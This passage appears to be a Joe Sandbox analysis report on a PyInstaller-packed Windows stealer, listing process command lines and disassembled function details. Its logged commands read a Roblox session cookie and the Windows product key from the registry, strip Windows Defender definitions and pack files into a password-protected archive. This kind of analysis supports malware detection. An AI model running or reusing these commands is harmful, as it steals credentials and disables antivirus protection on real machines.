Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	03:42:15
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	03:42:19
Start date:	04/01/2025
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff6a5480000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	03:42:26
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	03:42:26
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	03:42:26
Start date:	04/01/2025
Path:	C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *
Imagebase:	0x7ff6aa180000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	03:42:27
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	03:42:27
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	03:42:27
Start date:	04/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff69e180000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	03:42:28
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	03:42:28
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	03:42:28
Start date:	04/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff69e180000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	03:42:29
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	03:42:29
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	03:42:29
Start date:	04/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff69e180000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	03:42:30
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	03:42:30
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	03:42:30
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	03:42:31
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	03:42:31
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	03:42:31
Start date:	04/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff69e180000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	03:42:32
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	03:42:32
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	03:42:32
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00007FF78DA58BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78DA59400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF78DA545E4,00000000,00007FF78DA51985), ref: 00007FF78DA59439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58C46

Part of subcall function 00007FF78DA6A4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6A500

Part of subcall function 00007FF78DA6878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA687F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58CD6
CreateProcessW.KERNELBASE ref: 00007FF78DA58D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58D18

Part of subcall function 00007FF78DA52C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF78DA53706,?,00007FF78DA53804), ref: 00007FF78DA52C9E
Part of subcall function 00007FF78DA52C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF78DA53706,?,00007FF78DA53804), ref: 00007FF78DA52D63
Part of subcall function 00007FF78DA52C50: MessageBoxW.USER32 ref: 00007FF78DA52D99

RegisterClassW.USER32 ref: 00007FF78DA58D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58D7B
CreateWindowExW.USER32 ref: 00007FF78DA58DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58E05
PeekMessageW.USER32 ref: 00007FF78DA58E29
TranslateMessage.USER32 ref: 00007FF78DA58E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58E41
PeekMessageW.USER32 ref: 00007FF78DA58E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA58FF4
GetExitCodeProcess.KERNELBASE ref: 00007FF78DA59009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA59012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF78DA53F7F), ref: 00007FF78DA5901F

Strings

PyInstaller Onefile Hidden Window, xrefs: 00007FF78DA58D85
PyInstallerOnefileHiddenWindow, xrefs: 00007FF78DA58D44
CreateProcessW, xrefs: 00007FF78DA58D27
Failed to create child process!, xrefs: 00007FF78DA58D20

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: 00645d656dbfcdce2d0d80d7951af6a87ec6c29d7a5351547e2ac7ae12678e16
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 9CD18372A0CA8286EB10AF74E854AB9B774FF84758FB00235DA5D43A94EF3CD949C711

Function 00007FF78DA51000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF78DA53A0B, 00007FF78DA53CD4, 00007FF78DA53F6B
Failed to remove temporary directory: %s, xrefs: 00007FF78DA53FC3
pyi-disable-windowed-traceback, xrefs: 00007FF78DA53BB2
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF78DA53882, 00007FF78DA538AF
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF78DA539DE
pyi-contents-directory, xrefs: 00007FF78DA53B8D
Failed to convert DLL search path!, xrefs: 00007FF78DA53DDC
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF78DA53C61
_PYI_SPLASH_IPC, xrefs: 00007FF78DA53A23, 00007FF78DA53EF5
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF78DA53E0A
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF78DA53BE8
Failed to start splash screen!, xrefs: 00007FF78DA53ED4
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF78DA53A17, 00007FF78DA53A2F, 00007FF78DA53A9B
bye-runtime-tmpdir, xrefs: 00007FF78DA53B68
pkg, xrefs: 00007FF78DA539BE
Py_GIL_DISABLED, xrefs: 00007FF78DA53AF4
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF78DA53971
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF78DA53D12
pyi-python-flag, xrefs: 00007FF78DA53AD6
Could not create temporary directory!, xrefs: 00007FF78DA53CBF
VCRUNTIME140.dll, xrefs: 00007FF78DA53DB1
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF78DA53D35
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF78DA53B32
MEI, xrefs: 00007FF78DA53933
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF78DA53EA6
Failed to load splash screen resources!, xrefs: 00007FF78DA53E85
_PYI_ARCHIVE_FILE, xrefs: 00007FF78DA538D2, 00007FF78DA539FF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF78DA53EBB

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 7c6149c83ec295aa3824364e4806b56b50599473bc5d4fd4de40d1ca8c577362
Instruction ID: 1a132817db7def829fbb78c57e271a0e3ee696cf273a2a4c8b821708b2050aec
Opcode Fuzzy Hash: 7c6149c83ec295aa3824364e4806b56b50599473bc5d4fd4de40d1ca8c577362
Instruction Fuzzy Hash: C2329F25A0C68291EA15BBA19454ABDE3B1BF85740FF44431DA5D832D2FF2CED5CC322

Function 00007FF78DA769D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78DA76708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA76749
Part of subcall function 00007FF78DA76708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA767C7
Part of subcall function 00007FF78DA76708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA76818

CreateFileW.KERNELBASE ref: 00007FF78DA76ADA
CreateFileW.KERNEL32 ref: 00007FF78DA76B2A
GetLastError.KERNEL32 ref: 00007FF78DA76B5A
GetFileType.KERNELBASE ref: 00007FF78DA76B6F
GetLastError.KERNEL32 ref: 00007FF78DA76B79
CloseHandle.KERNEL32 ref: 00007FF78DA76BAC
CloseHandle.KERNEL32 ref: 00007FF78DA76D0F
CreateFileW.KERNEL32 ref: 00007FF78DA76D44
GetLastError.KERNEL32 ref: 00007FF78DA76D53

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: 86c50e141fdaaecc99c5f8c7d154407f4b13856111a501c7bea3cad232770921
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: F9C10032B28A4185EB50EFA4D480AAC7765FB49B98FA40235DE6E577D4EF38D819C310

Function 00007FF78DA583B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF78DA58B09,00007FF78DA53FA5), ref: 00007FF78DA5841B
RemoveDirectoryW.KERNEL32(?,00007FF78DA58B09,00007FF78DA53FA5), ref: 00007FF78DA5849E
DeleteFileW.KERNELBASE(?,00007FF78DA58B09,00007FF78DA53FA5), ref: 00007FF78DA584BD
FindNextFileW.KERNELBASE(?,00007FF78DA58B09,00007FF78DA53FA5), ref: 00007FF78DA584CB
FindClose.KERNEL32(?,00007FF78DA58B09,00007FF78DA53FA5), ref: 00007FF78DA584DC
RemoveDirectoryW.KERNELBASE(?,00007FF78DA58B09,00007FF78DA53FA5), ref: 00007FF78DA584E5

Strings

%s\*, xrefs: 00007FF78DA583E2

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: 01da515a63d8fca6656361562c890f095777a27c727821a4116db5e769d13be4
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: 73413221A0C54285EA20BBA4E4589B9A370FB98764FF00631D9AD83AD5FF3CDD4DC712

Function 00007FF78DA592F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF78DA59323
FindClose.KERNELBASE ref: 00007FF78DA59332

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: 7acfea21dac7172148ce9ffb628e02fbf80a6bfeb7f581dcf08e414705153f4c
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: F9F0496261C641C6F7609F90B44DB76A360BB44778F740235D9AD456D4EF3CD44DCA11

Function 00007FF78DA51950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78DA57F80: _fread_nolock.LIBCMT ref: 00007FF78DA5802A

_fread_nolock.LIBCMT ref: 00007FF78DA51A1B

Part of subcall function 00007FF78DA52910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF78DA51B6A), ref: 00007FF78DA5295E

Strings

fseek, xrefs: 00007FF78DA519F5
Could not allocate memory for archive structure!, xrefs: 00007FF78DA51A61
Could not read full TOC!, xrefs: 00007FF78DA51B55
Failed to seek to cookie position!, xrefs: 00007FF78DA519EE
MEI, xrefs: 00007FF78DA51991
Failed to read cookie!, xrefs: 00007FF78DA51A2B
Could not allocate buffer for TOC!, xrefs: 00007FF78DA51B1B
fread, xrefs: 00007FF78DA51A32, 00007FF78DA51B5C
Error on file., xrefs: 00007FF78DA51B8D
malloc, xrefs: 00007FF78DA51B22
calloc, xrefs: 00007FF78DA51A68

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 71146916c0c9099706f714157d3aef073617a07ebfbf74c53cf41f504c15e58d
Instruction ID: f150497cc9db9e2cc3b7950791f2096e1d46cd7d836e82e32eafdcd02b72e33c
Opcode Fuzzy Hash: 71146916c0c9099706f714157d3aef073617a07ebfbf74c53cf41f504c15e58d
Instruction Fuzzy Hash: D5816371A0D68686EB60FB64E040AB9B3A0FF44744FB44431D98D87785FE3DE949C762

Function 00007FF78DA51600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fseek, xrefs: 00007FF78DA516E1
